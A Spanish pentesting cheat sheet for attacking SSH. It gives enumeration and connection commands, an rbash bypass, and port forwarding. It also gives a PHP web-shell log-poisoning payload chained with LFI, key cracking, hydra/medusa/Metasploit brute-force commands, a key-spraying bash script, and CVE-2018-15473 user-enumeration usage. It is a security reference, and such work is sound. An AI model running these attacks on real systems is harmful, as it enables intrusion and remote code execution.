⚪ 22 - SSH (TCP)

Información

SSH (Secure SHell) es el nombre de un protocolo y del programa que lo implementa cuya principal función es el acceso remoto a un servidor por medio de un canal seguro en el que toda la información está cifrada.

Puerto Estándar: 22
PORT   STATE SERVICE
22/tcp open  ssh

Si Nmap no obtiene el encabezado del servicio, consultará la DB IANA para determinar el servicio asociado al puerto.

Enumeración

nc -vn 192.168.1.2 22
timeout 0.1 bash -c "nc -nv 192.168.1.2 22"

ssh-audit 192.168.1.2

nmap -sS -p22 192.168.1.2
nmap -sVC -p22 192.168.1.2
nmap -p22 --script='ssh2-enum-algos' 192.168.1.2
nmap -p22 --script='ssh-hostkey' --script-args='ssh_hostkey=full' 192.168.1.2
nmap -p22 --script='ssh-auth-methods' --script-args='ssh.user=root' 192.168.1.2

Conectar

ssh user@192.168.1.2                                               # ip (default port)
ssh user@domain.tld                                                # domain (default port)
ssh user@192.168.1.2 -p 1234                                       # other port
ssh -6 user@2a02:2e02:97c0:b500:1968:8cbb:002d:1809                # ipv6
ssh -X user@192.168.1.2                                            # X11
ssh user@192.168.1.2 -i id_rsa                                     # private key (id_rsa)

ssh user@192.168.1.2 -oKexAlgorithms=+diffie-hellman-group1-sha1   # error: no matching key exchange method found

# apt-get install sshpass -y
sshpass -p 'Password123!' ssh root@192.168.1.2                                # normal
sshpass -p 'Password123!' ssh root@192.168.1.2 -o StrictHostKeyChecking=no    # ignore yes/no/fingerprint

# metasploit (ssh login > meterpreter)
use auxiliary/scanner/ssh/ssh_login
set rhosts 192.168.1.2
set username peter
set password peterpan
exploit
sessions -l
sessions -i 1

Restricted Bash (rbash)

Bypass
ssh user@192.168.1.2 -t "bash --noprofile"

Port Forwarding

Local

root@kali:~# ssh -L 65000:127.0.0.1:65000 user@192.168.1.2                                  # ipv4
root@kali:~# sshpass -p 'Password123' ssh -L 65000:127.0.0.1:65000 user@192.168.1.2         # ipv4 (password)
root@kali:~# ssh -L 65000:127.0.0.1:65000 user@192.168.1.2 -fNT                             # background 
root@kali:~# ssh -L -6 65000:127.0.0.1:65000 user@2a02:2e02:97c0:b500:a451:e851:588c:ff62   # ipv6

Remote

user@victim:~$ ssh -R 65000:127.0.0.1:65000 root@192.168.1.2                                  # ipv4
user@victim:~$ ssh -R 65000:127.0.0.1:65000 root@192.168.1.2 -fNT                             # background
user@victim:~$ ssh -R -6 65000:127.0.0.1:65000 root@2a02:2e02:97c0:b500:a451:e851:588c:ff62   # ipv6

Log Poisoning

Si se detecta una vulnerabilidad de tipo Local File Inclusion (LFI) permitiendo leer el archivo /etc/passwd

file.php?file=/etc/passwd

Si también permite leer el archivo log de SSH ubicado en /var/log/auth.log.

file.php?file=/var/log/auth.log

Podrá envenenar ese archivo log inyectando código PHP en un inicio de sesión falso.

ssh '<?php system($_GET["cmd"]); ?>'@192.168.1.2

Ahora permitirá ejecución remota de comandos en el servidor de destino.

file.php?file=/var/log/auth.log&cmd=id

Cracking

id_rsa

JohnTheRipper
ssh2john.py id_rsa > hash
john --wordlist=rockyou.txt hash
john --show hash

Brute Force

Password

Si dispone de un usuario y no conoce el password:

hydra -t 64 -l admin -P rockyou.txt ssh://192.168.1.2 -f -I
hydra -t 64 -l admin -P rockyou.txt ssh://192.168.1.2:65000 -f -I

medusa -h 192.168.1.2 -u root -P rockyou.txt -M ssh -v 4 -f
medusa -h 192.168.1.2 -u root -P rockyou.txt -t 10 -M ssh -v 4 -f 2>/dev/null
medusa -h 192.168.1.2 -n 65000 -u one -P rockyou.txt -t 10 -M ssh -v 4 -f 2>/dev/null

ncrack --user root -P rockyou.txt 192.168.1.2:22 -f

patator ssh_login user=user password=FILE0 0=rockyou.txt host=192.168.1.2 -x ignore:mesg='Authentication failed.'
patator ssh_login user=root password=FILE0 0=rockyou.txt host=192.168.1.2 -x ignore:code=1


# metasploit
use auxiliary/scanner/ssh/ssh_login
show options
set RHOSTS 192.168.1.2
set USERNAME root
set PASS_FILE rockyou.txt
set VERBOSE true
run

User

Si dispone de un password y no conoce el usuario:

# default port (22)
hydra -t 64 -L users.dic -p 'Password123!' ssh://192.168.1.2
# other port
hydra -t 64 -L users.dic -p 'Password123!' ssh://192.168.1.2:1234
id_rsa

Si dispone de una clave privada id_rsa y no conoce el usuario:

Bash
#!/bin/bash

trap ctrl_c INT

RED="\e[91m"
GREEN="\e[92m"
YELLOW="\e[93m"
BLUE="\e[34m"
WHITE="\e[97m"

USERS=$(<users.dic)
KEY="id_rsa"
RHOST="192.168.1.58"
RPORT="22"

function ctrl_c(){
  echo
  exit 1
}

chmod 600 ${KEY}

for USER in ${USERS}; do
  timeout 0.5 ssh ${USER}@${RHOST} -p ${RPORT} -i ${KEY} -x id &>/dev/null
  if [ $? -eq 0 ]; then
    echo -e "${BLUE}SSH    ${WHITE}${RHOST}:${RPORT}  ${GREEN}[+] ${WHITE}User ${GREEN}${USER} ${YELLOW}(Pwn3d!)"
    exit
  else
    echo -e "${BLUE}SSH    ${WHITE}${RHOST}:${RPORT}  ${RED}[-] ${WHITE}User ${RED}${USER} ${WHITE}is invalid"
  fi
done
Metasploit
 msfconsole -q
msf6 > use auxiliary/scanner/ssh/ssh_login_pubkey
msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > show OPTIONS
msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > set RHOSTS 192.168.1.2
msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > set KEY_PATH id_rsa
msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > set STOP_ON_SUCCESS true
msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > set USER_FILE users.dic
msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > run
CVE-2018-15473

Si detecta versiones entre 2.3 < 7.7 de OpenSSH, podrá enumerar usuarios sin necesidad de conocer su password.

Exploit

(https://github.com/Sait-Nuri/CVE-2018-15473)

python3 CVE-2018-15473.py 192.168.1.2 -u root
[+] root is a valid username
python3 CVE-2018-15473.py 192.168.1.2 -u roott
[-] roott is an invalid username
python3 CVE-2018-15473.py 192.168.1.2 -w users.dic
python3 CVE-2018-15473.py 192.168.1.2 -w users.dic | grep -v "invalid"
Metasploit
msf6 > use auxiliary/scanner/ssh/ssh_enumusers 
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set RHOSTS 192.168.1.2
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE users.dic
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set THREADS 10
msf6 auxiliary(scanner/ssh/ssh_enumusers) > color true
msf6 auxiliary(scanner/ssh/ssh_enumusers) > run

Archivos Asociados

  • /var/log/auth.log - Ruta por defecto del archivo de logs.
  • /etc/ssh/sshd_config - Ruta por defecto del archivo de configuración.
  • ~/.ssh - Ruta por defecto de las claves de cada usuario.

© d4t4s3c 2023-2025

results matching ""

    No results matching ""